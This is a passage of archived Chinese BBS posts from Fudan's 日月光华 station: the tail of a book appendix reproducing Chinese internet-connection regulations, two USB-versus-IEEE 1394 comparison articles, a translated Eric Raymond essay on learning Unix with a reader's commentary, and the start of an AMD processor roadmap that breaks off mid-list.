（一）未建立安全保护管理制度的； 　　（二）未采取安全技术保护措施的； 　　（三）未对网络用户进行安全教育和培训的； 　　（四）未提供安全保护管理所需要信息、资料及数据文件，或者所提供内容不真实 的； 　　（五）对委托其发布的信息内容末进行审核或者对委托单位和个人未进行登记的； 　　（六）未建立电子公告系统的用户登记和信息管理制度的； 　　（七）未按照国家有关规定，删除网络地址、目录或者关闭服务器的； 　　（八）未建立公用账号使用登记制度的； 　　（九）转借、转让用户账号的。 　　第二十二条，违反本办法第四条、第七条规定的，依照有关法律、法规予以处罚。 　　第二十三条，违反本办法第十一条、第十二条规定，不履行备案职责的，由公安机 关给予警告或者停机整顿不超过六个月的处罚。 　　第五章 附则 　　第二十四条，与香港特别行政区和台湾、澳门地区联网的计算机信息网络的安全保 护管理，参照本办法执行。 　　第二十五条，本办法自发布之日施行。 附录五 中华人民共和国计算机信息网络国际联网管理暂行规定实施办法 （1998年2月13日国务院信息化工作领导小组印发） 　　第一条，为了加强对计算机信息网络国际联网的管理，保障国际计算机信息交流的 健康发展，根据《中华人民共和国计算机信息网络国际联网管理暂行规定》（以下简称 《暂行规定》），制定本办法。 　　第二条，中华人民共和国境内的计算机信息网络进行国际联网，依照本办法办理。 　　第三条，本办法下列用语的含义是： 　　（一）国际联网，是指中华人民共和国境内的计算机互联网络、专业计算机网络、 企业计算机信息网络，以及其他通过专线进行国际联网的计算机信息网络同外国的计算 机信息网络相联接。 　　（二）接人网络，是指通过接人互联网络进行国际联网的计算机信息网络；接入网 络可以是多级联接的网络。 　　（三）国际出人口信道，是指国际联网所使用的物理信道。 　　（四）用户，是指通过接入网络进行国际联网的个人。法人和其他组织；个人用户 是指具有联网账号的个人。 　　（五）专业计算机信息网络，是指为行业服务的专用计算机信息网络。 　　（六）企业计算机信息网络，是指企业内部自用的计算机信息网络。 　　第四条，国家对国际联网的建设布局、资源利用进行统筹规划。国际联网采用国家 统一制定的技术标准、安全标准、资费政策，以利于提高服务质量和水平。国际联网实 行分级管理，即：对互联单位、接人单位、用户实行逐级管理，对国际出入口信道统一 管理。国家鼓励在国际联网服务中公平、有序的竞争，提倡资源共享，促进健康发展。 　　第五条，国务院信息化工作领导小组办公室负责组织。协调有关部门制定国际联网 的安全、经营、资费、服务等规定和标准的工作，并对执行情况进行检查监督。 　　第六条，中国互联网络信息中心提供互联网络地址、域名、网络资源目录管理和有 关的信息服务。 　　第七条，我国境内的计算机信息网络直接进行国际联网，必须使用邮电部国家公用 电信网提供的国际出人口信道。 　　任何单位和个人不得自行建立或者使用其他信道进行国际联网。 　　第八条，已经建立的中国公用计算机互联网、中国金桥信息网、中国教育和科研计 算机网、中国科学技术网等四个互联网络，分别由邮电部、电子工业部、国家教育委员 会和中国科学院管理。中国公用计算机互联网、中国金桥信息网为经营性互联网络；中 国教育和科研计算机网、中间科学技术网为公益性互联网络。 　　经营性互联网络应当享受同等的资费政策和技术支撑条件。 　　公益性互联网络是指为社会提供公益服务的，不以盈利为目的的互联网络。 　　公益性互联网络的使用信道的资费应当事受优惠政策。 　　第九条，新建互联网络，必须经部（委）级行政主管部门批准后，向国务院信息化 工作领导小组提交互联单位申请书和互联网络可行性报告，由国务院信息化工作领导小 组审议提出意见并报国务院批准。 　　互联网络可行性报告的主要内容应当包括：网络服务性质和范围、网络技术方案、 经济分析、管理办法和安全措施等。 　　第十条，接入网络必须通过互联网络进行国际联网，不得以其他方式进行国际联网 。 　　接人单位必须具备《暂行规定》第九条规定的条件，并向互联单位主管部门或者主 管单位提交接入单位申请书、接入网络可行性报告。互联单位主管部门或者主管单位应 当在收到接入单位申请书后20个工作日内，将审批意见以书面形式通知申请单位。 　　接入网络可行性报告的主要内容应当包括：网络服务性质和范围、网络技术方案、 经济分析、管理制度和安全措施等。 　　第十一条，对从事国际联网经营活动的接人单位（以下简称经营单位）实行国际联 网经营许可证（以下简称经营许可证）制度。经营许可证的格式由国务院信息化工作领 导小组统一制定。 　　经营许可证由经营性互联单位主管部门颁发，报国务院信息化工作领导小组办公室 备案。互联单位主管部门对经营性接入单位实行年检制度。 　　跨省，市经营的接人单位应当向经营性在联单位主管部门申请领取国际联网经营许 可证。在本省、市内经营的接人单位应当向经营性互联网部门或者经其授权的省级主管 部门申请领取国际联网经营许可证。 　　经营性接入单位凭经营许可证到国家工商行政管理机关办理登记注册手续，向提供 电信服务的企业办理所需通信线路手续。提供电信服务的企业应当在30个工作日内为接 人单位提供通信线路和相关服务。 　　第十二条，个人、法人和其他组织用户使用的计算机或者计算机信息网络必须通过 接入网络进行国际联网，不得以其他方式进行国际联网。 　　第十三条，用户向接人单位申请国际联网时，应当提供有效身份证明或者其他证明 文件，并填写用户登记表。 　　接人单位应当在收到用户申请后5个工作日内，以书面形式答复用户。 　　第十四条，邮电部根据《暂行规定》和本办法制定国际联网出人口信道管理办法， 报国务院信息化工作领导小组备案。 　　第十五条，接人单位申请书、用户登记表的格式由互联单位主管部门按照本办法的 要求统一制定。 　　第十六条，国际出人口信道提供单位有责任向互联单位提供所需的国际出入口信道 和公平、优质、安全的服务，并定期收取信道使用费。 　　互联单位扩充国际出入口信道，应当到国际出入口信道提供单位办理有关信息开通 或扩充手续，并报国务院信息化工作领导小组办公室备案。国际出人口信道提供单位在 接到互联单位的申请后，应当在100个工作日内为互联单位开通所需的国际出人口信道。 　　国际出人口信道提供单位与互联单位应当签定相应的协议，严格履行各自的责任和 义务。 　　第十七条，国际出人口信道提供单位、互联单位和接人单位必须建立网络管理中心 ，健全管理制度，做好网络信息安全管理工作。 　　互联单位应当与接人单位签订协议，加强对本网络和接入网络的管理；负责接人单 位有关国际联网的技术培训和管理教育工作；为接人单位提供公平、优质、安全的服务 ；按照国家有关规定向接人单位收取联网接人费用。 　　接人单位应当服从互联单位和上级接人单位的管理；与下级接人单位签定协议，与 用户签定用户守则，加强对下级接人单位和用户的管理；负责下级接人单位和用户的管 理教育、技术咨询培训工作；为下级接入单位和用户提供公平。优质、安全的服务；按 照国家有关规定向下级接入单位和用户收取费用。 　　第十八条，用户应当服从接人单位的管理，遵守用户守则；不得擅自进入未经许可 的计算机系统，篡改他人信息；不得在网络上散发恶意信息，冒用他人名义发出信息， 侵犯他人隐私；不得制造、传播计算机病毒及从事侵犯其他网络和他人合法权益的活动 。 　　用户有权获得接入单位提供的各项服务；有义务交纳费用。 　　第十九条，国际出人口信道提供单位、互联单位和接人单位应当保存与其服务相关 的所有信息资料；在国务院信息化工作领导小组办公室和有关主管部门进行检查时，应 当及时提供有关信息资料。 　　国际出入口信道提供单位、互联单位每年二月份向国务院信息化工作领导小组办公 室提交上一年度有关网络运行。业务发展、组织管理的报告。 　　第二十条，互联单位、接入单位和用户应当遵守国家有关法律、行政法规，严格执 行国家安全保密制度；不得利用国际联网从事危害国家安全、泄露国家秘密等违法犯罪 活动，不得制作、查阅、复制和传播妨碍社会治安和淫秽色情等有害信息；发现有害信 息应当及时向有关主管部门报告，并采取有效措施，不得使其扩散。 　　第二十一条，进行国际联网的专业计算机信息网络不得经营国际互联网络业务。 　　企业计算机信息网络和其他通过专线进行国际联网的计算机信息网络，只限于内部 使用。 　　负责专业计算机信息网络、企业计算机信息网络和其他通过专线进行国际联网的计 算机信息网络运行的单位，应当参照本办法建立网络管理中心，健全管理制度，做好网 络信息安全管理工作。 　　第二十二条，违反本办法第七和第十条第一款规定的，由公安机关责令停止联网， 可以并处15000元以下罚款；有违法所得的，没收违法所得。 　　违反本办法第十一条规定的，未领取国际联网经营许可证从事国际联网经营活动的 ，由公安机关给予警告，限期办理经营许可证；在限期内不办理经营许可证的，责令停 止联网；有违法所得的，没收违法所得。 　　违反本办法第十二条规定的，对个人由公安机关处5000元以下的罚款；对法人和其 他组织用户由公安机关给予警告，可以并处15000元以下的罚款。 　　违反本办法第二十一条第一款规定的，由公安机关给予警告，可以并处15000元以下 的罚款；有违法所得的，没收违法所得。违反本办法第二十一条第二款规定的，由公安 机关给予警告，可以并处15000元以下的罚款；有违法所得的，没收违法所得。 　　第二十三条，违反《暂行规定》及本办法，同时触犯其他有关法律、行政法规的， 依照有关法律、行政法规的规定予以处罚；构成犯罪的，依法追究刑事责任。 　　第二十四条，与香港特别行政区和台湾、澳门地区的计算机信息网络的联网，参照 本办法执行。 　　第二十五条，本办法自颁布之日起施行。 　　主要引用和参考文献 　　尼葛洛庞帝：《数字化生存》，海南出版社，1996。 　　尼尔·巴雷特：《数字化犯罪》，辽宁教育出版社，1998。 　　托夫勒夫妇：《未来的战争》，新华出版社，1996。 　　孙伟平：《猫与耗子的新游戏》，北京出版社，1999。 　　周能友，朱小兰：〈INTERNE集中营》，中国城市出版社，1998。 　　黄学彬：《接近零点》，四川人民出版社，1997。 　　麦赫：〈黑客案例》，四川财经大学出版社，1998。 　　胡泳、范海燕：《黑客，电脑时代的牛仔》，中国人民大学出版社，1997。 　　陆群：《寻找网上中国》，海洋出版社，1999。 　　费日清：《电脑杀手》，四川院艺出版社，1996。 　　魏乎：《计算机犯罪与计算机战争》，知识出版社，1998。 　　阿苇、唐颖：《数码时代的灰色诱惑》，广东经济出版社，1998。 　　http://tech.sina.com.cn 　　http://bbs.gznet.edu.cn 作者：余开亮、张兵 -- Soso:"I hate AWP!" _ , __ __ __ __ ,_/\\_~ 0_\ ___ -- / \- ' ''-, ---- --- ,, ___ ___ '*31m Everything I do,I do it for you! -( .@ .)----( .@ .)---' - - ※ 来源:·日月神教 bbs.黑木崖.com·[FROM:万梅山庄] ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.83.100.111] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: relive (火鸟~~非梧不栖~~笑傲梧枝), 信区: Hardware 标 题: 了解USB与IEEE1394 发信站: 日月光华站 (Fri Sep 14 15:10:31 2001) , 站内信件 了解USB与IEEE1394 ---两种接口的特性和差别 　TIANYIx USB与IEEE1394都是一种通用外部设备接口，它们现在都广泛地应用于电脑、摄像机、数 码相机等各种信息设备上，尤其是USB，现在的普通PC都带有2-6个USB接口。那么你了解 USB与IEEE1394吗？ USB总线 一、USB的主要特性主要特征是什么？ 速度快。速度快是USB最突出的特点之一，现在USB1.1接口最高的传输速率可以达到12M bps/s，可以说在外部设备接口之中已经是屈指可数的。USB2.0最高传输速率会达到480 Mbps/s，也就是60MB/s。 方便用。使用USB接口可以非常方便地带电插拨各种硬件，而不用担心硬件是否有损坏。 它还支持连接多个不同设备串连，以达到需要。一个USB接口最多可以连接127个USB设备 。USB设备也不会有IRQ冲突的问题，因为它会单独使用自己的保留中断，所以不会使用 电脑有限的资源，有了USB这样的真正的"即插即用"大家不用再为IRQ冲突烦心了。 自供电。USB设备不再需要用单独的供电系统，而使用串口等其它的设备都需要独立电源 。USB接口内置了电源，可以向低压设备提供5V的电。 用处多。USB设备提供各种多媒体功能。支持USB的声卡和音箱可以更好地减少噪声。 二、USB的主要结构有哪些？ USB可以分为五个部分：控制器、控制器驱动程序、USB芯片驱动程序、USB设备和USB设 备驱动程序。其中： 控制器接收和执行由系统向USB发出的各种命令。 控制器驱动程序向控制器发送各种命令和向系统回馈各种信息。 USB芯片驱动程序使操作系统能够对USB进行支持。 USB设备是各种与PC的USB接口相连的设备。 USB设备驱动程序是使操作系统驱动USB设备的程序。 三、USB的主要传输方式有几种？ USB共有四种传输方式，分别是： 等时传输方式 该方式可以用于对时间非常敏感的需要连续传输数据并且对数据正确性要 求不高的USB设备（麦克风、音箱等）。当传输时发生错误，USB并不会处理这些错误， 而是继续传送数据。 中断传输方式 该方式可以用于传送数据量小但需要实时处理数据的USB设备（键盘、鼠 标等）。传输时可以实时处理错误。 批处理方式 该方式可以用于传输数据时要求正确无误的USB设备（打印机、扫描仪等） 。当传输时发生错误，USB会重新发送正确的数据。 控制传输方式 该方式可以用于处理系统到USB设备的数据传送。USB设备接收到这些数据 后，会以先进先出的原则处理数据。 四、USB在未来几年将发展成怎样？ USB是由COMPAQ、IBM、Inter、Microsoft、NEC等厂商共同制定的一种通用的外部设备总 线规范，它公布于19年。现今为止，它分为高速与低速的USB接口，分别为12Mbps/s和1 .5Mbps/s。USB经历了1.0与1.1两个标准，而USB2.0也即将推出。USB2.0是由COMPAQ、I BM、Inter、HP、Microsoft等厂商联合制定的。在1999年底，USB2.0推出了速度草案， 它的最高速度将达到480Mbps/s。USB2.0将极大地扩展了USB输入输出的带宽。 IEEE1394总线 一、IEEE1394的主要特征是什么？ 速度快。IEEE1394总线是一种目前为止最快的高速串行总线，最高的传输速度为400Mbp s/s。 支持好。IEEE1394对于各种需要大量带宽的设备提供了专门的优化。 连接多。IEEE1394接口可以同时连接63个不同设备。 热插拨。IEEE1394同USB一样，支持带电插拨设备。 不驱动。IEEE1394支持即插即用，现在的WIN98 SE、WIN2000、WIN ME、WIN XP都对IEE E1394支持的很好，在这些操作系统中用户不用再安装驱动程序，也能使用IEEE1394设备 。 二、IEEE1394难道没有缺点吗？ IEEE1394并不是没有缺点的，任何东西都是有缺点的，它的缺点主要表现于两个方面： 应用少。现在支持IEEE1394的设备也不太多，只有一些数码相机与MP3等一些使用高带宽 的设备使用IEEE1394。其它的设备其实也用不了那么高的带宽。 占用高。IEEE1394总线需要占用大量的资源，所以需要高速度的CPU。 三、IEEE1394的传输方式有哪些？ IEEE1394分为两种传输方式，其中： Backplane模式最小的速率也比USB1.1最高速率高，分别为12.5 Mbps/s 、25 Mbps/s 、 50 Mbps/s。可以用于多数的高带宽应用。 Cable模式是速度非常快的模式，其分为100 Mbps/s 、200 Mbps/s 和400 Mbps/s几种， 在200Mbps/s下可以传输不经压缩的高质量数据电影。 四、IEEE1394的未来发展状况如何？ IEEE1394总线是由苹果公司研制的，目前最高速度可达到400Mbps/s，速度分为12.5 Mb ps/s 、25 Mbps/s 、50 Mbps/s 、100 Mbps/s 、200 Mbps/s 和400 Mbps/s。将来会推 出1Gbps/s的IEEE1394技术。 USB与IEEE1394的区别 一、USB与IEEE1394的相同点主要有哪些？ 两者都是一种通用外接设备接口。 两者都可以快速传输大量数据。 两者都能连接多个不同设备。 两者都支持热插拨。 两者都可以不用外部电源。 二、USB与IEEE1394的不同点有哪些？ 两者的传输速率不同。USB的传输速率与IEEE1394的速率比起来真是小巫见大巫了。USB 的传输速率现在只有12Mbps/s，只能连接键盘、鼠标与麦克风等低速设备，而IEEE1394 可以使用400Mbap/s，可以用来连接数码相机、扫描仪和信息家电等需要高速率的设备。 两者的结构不同。USB在连接时必须至少有一台电脑，并且必须需要HUB来实现互连，整 个网络中最多可连接127台设备。IEEE1394并不需要电脑来控制所有设备，也不需要HUB ，IEEE1394可以用网桥连接多个IEEE1394网络，也就是说在用IEEE1394实现了63台IEEE 1394设备之后也可以用网桥将其他的IEEE1394网络连接起来，达到无限制连接。 两者的智能化不同。IEEE1394网络可以在其设备进行增减时自动重设网络。USB是以HUB 来判断连接设备的增减了。 两者的应用程度不同。现在USB已经被广泛应用于各个方面，几乎每台PC主板都设置了U SB接口，USB2.0也会进一步加大USB应用的范围。IEEE1394现在只被应用于音频、视频等 多媒体方面。 -- 无心灌水诚心浇花 隔岸观水不亦乐乎 ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.24.14.111] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- HackerVsSecurity精华区文章阅读 -------------------------------------------------------------------------------- 发信人: moneygg (静心则凉), 信区: HackerVsSecurity 标 题: UNIX及黑客入门的探索以思考（转载） 发信站: 日月光华站 (Wed Oct 31 10:54:53 2001) , 站内信件 【 在 scz (小四) 的大作中提到: 】 : 原著：Eric S. Raymond : 翻译：Killgamenow and Co-worker Jeroo : 转载：roulong : Guru：一些人宣称，每一个思想正常的黑客都应该通过随心所欲地编写内核这条道路 : 走向成功。但这样的行为不是对UNIX操作系统的一种“亵渎”吗？ : Born：“亵渎”？不！的确，内核是UNIX操作系统最神秘的一部分——但内核必须经 : 过人们的编写、修改才能保持这种神秘。UNIX的精髓并不独立存在于某一个特定的 : UNIX版本中，而它却是存在于所有的UNIX版本不断的改进中。人们惯用的通过重写 : UNIX内核得到提高的方法并不是掌握UNIX操作系统唯一的方法，但它却是所有方法中 : 境界最高、最难以成功的一种。可在这条道路上前进的人很少能够跨越简单的命令执 : 行——这条鸿沟。很多人，是的，很多人都坠入了这条鸿沟，并且主动走进了被称为 : “永久性测试”的可怕误区。 /* 这正是诱惑我放弃了经营3年的nt内核，转移到linux上来的东西... */ : Guru：那么到底哪条道路才是正确的呢？ : Born：这得靠你自己去学习、探索。要培养自己如毒蛇般的敏锐，如猛虎般的勇气； : 发现并且无须顾忌地询问站在你面前的高手。攻击再攻击，在实验与错误中成长。 把 : 你最好的作品粘贴在网上，帮助那些比你更加弱小的人，这样就可以因此而获得荣誉 : 以及别人对你的尊敬。如果你能如实地去做这些事情，如果你做这些事情带着高尚的 : 思想以及良好的目的，你将会很快摆脱“菜鸟”的称号。你所进行的这些努力可能无 : 法在短时间内得到回报，但如果你坚持的话，其效果就会逐渐展现。当你在这条路上 : 行进到一半的时候，一些“高手”可能会出现在你的面前——这决对不是偶然——对 : 你的行为予以藐视，把他们自己的行为拿出来向你炫耀。这是他们不接受你的标志。 : 而即使这样，在他们面前你仍然要十分谦虚，直到你走完了这条路。无论如何，你所 : 需要做的只是奋斗、奋斗、再奋斗，直到那些“高手”对你的力量感到害怕、对你产 : 生尊敬，直到真正的高手将你纳入他们的行列。（你应该凭借“孩子”的执着行进于 : 这条路上。） /* 说的太好了，谈到这一点，我想说的是，nudt的某些实验室，情况和这差不多... 菜鸟们进去后面对的是非常有经验的师兄，他有半年时间来熟悉这一切，当他还是 师弟的时候，他要面对的是师兄的不屑，要进入这个圈子，师兄们给了他半年的时间， 在这 半年的时间里，他要抓住一切时间，机会自学和向师兄请教， “发现并且无须顾忌地询问站在你面前的高手。攻击再攻击，在实验与错误中成长。” 半年 时间过去，他应该已经不是菜鸟，但是这还没有得到进入圈子的 通行证，“当你在这条路上 行进到一半的时候，一些“高手”可能会出现在你的面 前——这决对不是偶然——对 你的行为予以藐视，把他们自己的行为拿出来向你炫 耀。这是他们不接受你的标志”，没错，师兄们还没有承认你是他们的一员， 还没有接受你，但是“而即使这样，在他们面前你仍然要十分谦虚，直到你走完了这 条路。”你必须更加谦虚，更加抓住一切机会学习，直到有一天，你发现“无论如 何，你所需要做的只是奋斗、奋斗、再奋斗，直到那些“高手”对你的力量感到害 怕、对你产生尊敬，直到真正的高手将你纳入他们的行列。”那些骄傲的师兄都接受 了你，这个时候，你才算是进入了他们的圈子，从此进入师兄行列。 有人也许会奇怪，师兄不是只要熬年头嘛，是的，在大多数实验室是这样，但是 nudt有写实验室里就象丁老怪那里一样，力气大的是师兄。师兄对师弟有很大的权利。 老 对此不但不阻止，而且似乎 睦� 昨天有位hust的弟兄要来nudt，我建议他算了，因为我想很少有人能忍受这样的， 但是，这样的环境确实促人进步 */ -- -- 北风又传来熟悉的声音， 刹那间让我突然觉得好冷， 仿佛在告诉我走的太远， 有没有忘记最初的相约. ※ 修改:·moneygg 於 Oct 31 10:55:54 修改本文·[FROM: 211.96.233.1] ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 211.96.233.1] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: Leonix (Leon), 信区: Hardware 标 题: USB vs 1394 发信站: 日月光华站 (Tue Feb 19 11:14:20 2002) , 站内信件 USB和IEEE 1394在竞争中成长 本刊记者 孙永杰 ---- 多年来个人计算机的串口与并口的功能和结构并没有什么变化。串口的出现是在1 980年前后，数据传输率是115Kbps〜230Kbps，串口一般用来连接鼠标和外置Modem；并 口的数据传输率比串口快8倍，标准并口的数据传输率为1Mbps，一般用来连接打印机、 扫描仪等。原则上每一个外设必须插在一个接口上，如果所有的接口均被占用，就只能 通过添加插卡来增加接口。串并口不仅速度有限，而且在使用上很不方便。为此，人们 开始寻求新的接口标准。于是就有了今天的USB和IEEE 1394。 ---- USB一鸣惊人 ---- 1994年，Intel、Compaq、Digital、IBM、Microsoft、NEC、Northern Telecom等 7家世界著名的计算机和通信公司成立了USB论坛，花了近2年的时间形成了统一的意见， 于1995年11月正式制订了USB 0.9通用串行总线（Universal Serial Bus）规范，1997年 开始有真正符合USB技术标准的外设出现。USB 1.1是目前推出的在支持USB的计算机与外 设上普遍采用的标准。1999年初，在Intel开发者论坛大会上,与会者介绍了USB 2.0规范 ，该规范的支持者除了原有的Compaq、Intel、Microsoft和NEC四个成员外，还有HP、L ucent和Philips三个新成员。USB 2.0向下兼容USB 1.1，数据的传输率将达到120Mbps〜 480Mbps，还支持宽带宽数字摄像设备及下一代扫描仪、打印机和存储设备。 ---- 目前普遍采用的USB 1.1主要应用在中低速外部设备上，它提供的传输速度有低速 1.5Mbps和全速12Mbps两种。低速的USB带宽支持低速设备，如显示器、Modem、鼠标、键 盘、扫描仪、打印机、光驱、磁带机、软驱等。全速的USB带宽将支持大范围的多媒体设 备。USB的主要特点如下。 外设的安装十分简单。所有的USB外设利用通用的连接器可简单方便地连入计算机中，安 装过程高度自动化，既不必打开机箱插入插卡，也不必考虑资源分配，更不用关掉计算 机电源，即可实现热插拔。 对一般外设有不同的带宽和连接距离。如上所述，USB提供低速与全速两种数据传送速度 规格。全速传送时，结点间连接距离为5m，连接使用4芯电缆（电源线2条，信号线2条） 。该速率与一个标准的串行端口相比，大约快出100倍，与一个标准的并行端口相比，也 快出近10倍。因此，USB能支持高速接口（例如ISDN、PRI、T1），使用户拥有足够的带 宽供新的数字外设使用。 支持多设备连接，减少PC机I/O接口数量。利用菊花链的形式对端口加以扩展，最多可在 一台计算机上同时支持127种设备，避免了PC机上插槽数量对扩充外设的限制。 提供内置电源。USB电源能向低压设备提供5V的电源，因此新的设备就不需要专门的交流 电源，从而降低了这些设备的成本并提高了性价比。 提供了对电话的两路数据支持。USB可支持异步以及等时数据传输，使电话可与PC集成， 共享语音邮件及其他特性。 具有高保真音频。由于USB音频信息生成于计算机外，因此减少了电子噪音干扰声音质量 的机会，从而使音频系统具有更高的保真度。 ---- 到目前为止，USB已经在PC机的多种外设上得到应用，包括扫描仪、数码相机、数 码摄像机、音频系统、显示器、输入设备等等。其中，扫描仪、数码摄像机和数码相机 是从USB中最早获益的产品。 ---- 但需要指出的是，尽管在理论上USB可以实现高达127个设备的串联连接，在实际应 用中，也许串联3〜4个设备就可能导致一些设备失效。而且大多数USB产品只有一个输入 口，根本无法再连接下一个USB设备。另外，尽管USB本身可以提供500mA的电源，但一旦 碰到高电耗的设备，就会导致供电不足。解决这些问题的办法是使用USB Hub，但Hub目 前的价格却比较高。另外，一向标榜简单易用的USB也因兼容性问题而受到部分IT用户的 责难，虽然针对几大业内厂家，但问题都一样：大多数外设都与用户的主机系统不兼容 。用户反映说，USB优点不少，但就目前的状态看，USB远未实现当初包治百病的承诺。 看来USB还有许多需要改进的地方。 ---- IEEE 1394——曾经沧海难为水 ---- 继USB之后，另一种被称为FireWire（即IEEE 1394）的接口技术也已从实验室步入 市场领域，这种新型的接口比USB功能更为强大而且性能稳定。 ---- IEEE 1394也是一种高效的串行接口标准。IEEE 1394可以在一个端口上连接多达6 3个设备，设备间采用树形或菊花链拓扑结构。IEEE 1394标准定义了两种总线模式，即 Backplane模式和Cable模式。其中Backplane模式支持12.5 Mbps、25.5Mbps的传输速率 ；Cable模式支持100Mbps、200Mbps、400Mbps的传输速率。目前正在开发1Gbps的版本。 在400Mbps时，只要利用50%的带宽就可以支持不经压缩的高质量数字化视频信息流。 ---- 但实际情况中许多因素阻止了IEEE 1394的应用，尤其是在台式PC和笔记本电脑中 的应用。由于多种用于硬盘驱动器的快速并口被设计出来，例如用于内部硬盘驱动器的 ATA接口（又被称为EIDE），数据传输速度从原来的33MB/s提高了一倍，达到了目前的6 6MB/s。同样，用于外部硬盘驱动器和其他外围设备的通用SCSI接口也将其传输速度提高 了一倍，由原来的80MB/s达到了现在的160MB/s。相比之下，即使是当前最新版的IEEE 1394，其最高传输速度也只有400Mbps（即每秒的传输速度低于50MB），所以它的速度还 远不及久经锻炼的ATA接口。 ---- 由于产品的相对复杂性以及有限的市场占有率，IEEE 1394的价格竟然高于比它性 能更好的产品，更糟的是，计算机价格的不断下降使得IEEE 1394高价位更加令人难以接 受。当Apple公司（最早的FireWire产品开发商）宣布他们计划向使用IEEE 1394接口的 芯片及系统制造商征收每个端口1美元的版税时，价格矛盾变得更加尖锐。随后，包括A pple在内的一些公司就版税问题建立了专利共享联盟，这似乎有助于解决知识产权的推 广问题和简化版税的征收，不过，这个组织目前还没有决定是否对专利联盟之外的公司 减轻版税的征收。 ---- 尽管多媒体市场一直是IEEE 1394兼容设备的最大消费群体，但是由于最近对知识 产权保护问题的争论，阻碍了他们对IEEE 1394接口的接受过程。动画及音乐界坚持认为 ，用以连接计算机和音频/视频（A/V）设备（比如数码摄像机）的总线应该增加加密技 术，这样就可以对流式多媒体内容进行版权保护了。 ---- USB 与 IEEE 1394各有所长 ---- 由上述可知，IEEE 1394和USB都是设备接口技术的一种规范，因此它们有不少相似 之处，主要表现在：都可以提供即插即用及热插拔的功能，安装十分简单；都提供统一 的通用接头，都可向外设提供电源；都采用了串联方式，可以连接多台设备。 ---- 其主要差别是：IEEE 1394的传输速度很高，可达100〜400Mbps。目前1Gbps的协议 正在制订。而12Mbps 的USB因传输速度限制，它只能连接低速设备。因此，以后可能会 用IEEE 1394来连接高速装置及家电设备，而USB用来连接低速装置，以达到较佳的效果 ；IEEE 1394的拓扑结构中，不需要Hub就可连接63台设备，并且可以由网桥再将这些独 立的子网连接起来。IEEE 1394并不强调要用电脑来控制这些设备。而在USB的拓扑结构 中，必须通过Hub来实现多重连接，每个Hub有7个连接头，整个USB网络中最多可连接12 7台机器，而且一定要有电脑的控制。IEEE 1394的拓扑结构在其外部设备增减时，会自 动重设网络，其中包括网络短暂的等待状态；而USB以Hub来判明连接设备的增减，因此 可以减少USB网络动态重设的状况。 ---- 竞争仍在继续 ---- 由上述可知，USB与IEEE 1394可谓是各有所长，但从现实的应用来看，USB更加普 及，而IEEE 1394的应用范围相对狭小。而如果IEEE 1394想要脱离狭小的A/V领域，成为 一种通用的高质量接口的话，它就必须超越SCSI及其他通用技术的性能。最近，1394标 准的“b”版本已经提交。这一版本承诺其传输速度将会达到800Mbps（大约100MB/s）， 甚至更快。 ---- 众所周知，IEEE 1394最初的标准称为1394-1995，它的数据传输速度为100、200和 400MB/s，1998年推出的“a”版本，在技术上做了进一步的改进，在保持与已有产品兼 容的同时，使IEEE 1394的互操作性和控制性能得到了较大的提高。与前一次修改不同， IEEE 1394b版代表的是一次巨大的变革。它承诺将把数据传输速度提高到800Mbps和1.6 Gbps，而且，新版本的设计人员称，这种体系结构的底层数据速率能达到3.2Gbps，甚至 更快。同时，新版标准还克服了旧版本允许的最大电缆长度的局限性，新的传输介质和 增强的仲裁技术将使每个中继段的最大距离得以大大加长，从原来的小于5m延长到超过 100m（使用Ethernet电缆或者光纤）。此外，新版本还承诺提高系统的管理能力，比如 在系统重新启动后能够以更快的速度对总线进行重新配置。 ---- 一个完整的IEEE 1394接口分为两个硬件层和三个协议层。其中，物理层和链接硬 件层的实现可以是一组芯片或者一块单独的芯片（或许会集成其他系统功能）。最底层 的协议层，即“传输层”，通常由一个固件来实现。其他各协议层则完全以软件的形式 来实现。由于引进了一种称为“Betamode ”的新的物理层配置，IEEE 1394b版实现了较 高的操作速度。Betamode是在IBM的“8810B”编码之上进行了改进，“8810B”编码过去 用在其他一些高性能的串行总线技术中（例如Fibre Channel及Gigabit Ethernet）。新 的编码机制中增添了一些控制代码，在确定传输内容的完整性之后，这些控制代码可以 很容易从数据中分离出来。 ---- USB与IEEE 1394的竞争还在继续，而1999年10月USB 2.0的推出，使其传输速率达 到480Mbps，是目前USB 1.1规范的40倍，颇有封杀IEEE 1394之势，究竟结果如何，让我 们拭目以待。 -- 期待⋯⋯ ——(Leon Zeng) ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.39.0.64] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: thered (2300), 信区: Hardware 标 题: AMD公司2003-04年处理器新品发展计划 (Z) 发信站: 日月光华 (2003年02月18日17:09:32 星期二) AMD公司2003-04年处理器新品发展计划 2003-02-18 14:49:18 　　一般的我们所了解的硬件都是一个季度公布一份发展计划，很少有一次公布一年甚至 几年计划的事情，但是从现在看来CPU领域两个最大的企业的未来几年产品发展计划已经有 一部分可以确定了，在《Intel：2003年-2006年处理器新品发展计划》中我们已经透露了 未来几年间 　　Intel处理器方面的计划，而AMD方面又如何呢？下面我们就看看AMD 2003年－2004年 的产品一览。 　　像我们都已经知道的AMD的Athlon 64处理器已经推迟到今年9月份问世，这是一款采用 1MB L2高速缓存的处理器。在这之前我们将会看到Barton核心的Athlon XP 3200＋和Athl on XP 3400＋处理器。至于90nm技术CPU方面，AMD可能会在2004年第一季度开始大量投产 ，所以ClawHammer将是90nm产品，下面是未来12-16个月的主要产品计划： 　　Athlon 64 3400+ 2.00GHz (ClawHammer) 　　Athlon 64 3600+ 2.20GHz (ClawHammer) 　　Athlon 64 3800+ 2.40GHz (ClawHammer) 　　Athlon 64 4000+ 2.60GHz (ClawHammer) 　　Athlon 64 4200+ 2.80GHz (ClawHammer) 　　Athlon 64 4400+ 3.00GHz (ClawHammer) 　　San Diego核心将是AMD 2004年的主要新品，相信采用了这种新核心的Athlon 64处理 器将在性能上有所提高，当然它们还会分成相对的高端和低端产品： 　　Athlon 64 4000+ 2.60GHz (San Diego) 　　Athlon 64 